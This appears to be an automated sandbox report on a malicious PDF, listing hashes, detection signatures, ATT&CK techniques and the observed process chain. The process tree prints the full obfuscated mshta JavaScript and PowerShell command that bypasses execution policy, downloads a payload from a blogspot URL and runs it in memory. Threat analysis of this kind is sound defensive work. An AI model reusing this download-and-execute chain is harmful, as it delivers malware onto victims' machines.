1a89f1b5beda5a861dda5d01f441263a003d9133dcec0cde57a5b2e65e96f1fe

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
20/03/2025, 14:21

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General

Target

68afe34da3da15dc5f12491d025db5d83109b7e2baff9ebed4722a606df886da.pdf
Size

40KB
MD5

9cb482f484a11d1483aa39ad189b8cc3
SHA1

e8dca89bc15a02ee70af61f76c669d55af6917ec
SHA256

68afe34da3da15dc5f12491d025db5d83109b7e2baff9ebed4722a606df886da
SHA512

6a5e6ec234f2af41846dc8447f334c3d8a067bf1834b9b92765e5c478ade25cd7c69f25660d84f1e3b1b725c31030813cee21c1f26a880d1cacb85c34c681ddc
SSDEEP

384:PhwVVcX8YbmWG3cdW0nwcP3r+8cQe1uFHwl:5xMYbWWjPCTQe1uFHwl

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://'

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2148	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2888	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2148	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2888	AcroRd32.exe
2888	AcroRd32.exe
2888	AcroRd32.exe
2888	AcroRd32.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2888 wrote to memory of 2844	2888	AcroRd32.exe	31
PID 2888 wrote to memory of 2844	2888	AcroRd32.exe	31
PID 2888 wrote to memory of 2844	2888	AcroRd32.exe	31
PID 2888 wrote to memory of 2844	2888	AcroRd32.exe	31
PID 2844 wrote to memory of 2148	2844	mshta.exe	32
PID 2844 wrote to memory of 2148	2844	mshta.exe	32
PID 2844 wrote to memory of 2148	2844	mshta.exe	32
PID 2844 wrote to memory of 2148	2844	mshta.exe	32

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\68afe34da3da15dc5f12491d025db5d83109b7e2baff9ebed4722a606df886da.pdf"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2888
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" "javascript:var Skw = ['Shell.Application', 'SHELLEXECUTE', 'powershell', '-ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm https://' + 'marchkala3-19-25' + '.b' + 'logspot.c' + 'om' + '/lundmurred.doc) | . iex;Start-Sleep -Seconds 7;', '', 'open', 0], def = ['Scripting.FileSystemObject', 'DeleteFile', 'WScript.ScriptFullName'], ghi = new ActiveXObject(Skw[0]); ghi[Skw[1]](Skw[2], Skw[3], Skw[4], Skw[5], Skw[6]);close()"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm https://marchkala3-19-25.blogspot.com/lundmurred.doc) | . iex;Start-Sleep -Seconds 7;
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2148

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

Filesize
3KB

MD5
0e94a345770fb70ff92056159cc12464

SHA1
9a5eaf013e74e2ac69c6674e05c0dce8b2b38acb

SHA256
650ae4437dc51c91ed15add80cb2b0289c4a71774abbe65d4dc69c44e2a17df6

SHA512
ae78159a58db1b98a5f81c9545301684c52023c3ccaaaf34278fab58d0281bcf1a99668edbb3270fbb90cfb7d49615d6b72afde61b548cd39a4e0c8fbccb76e6

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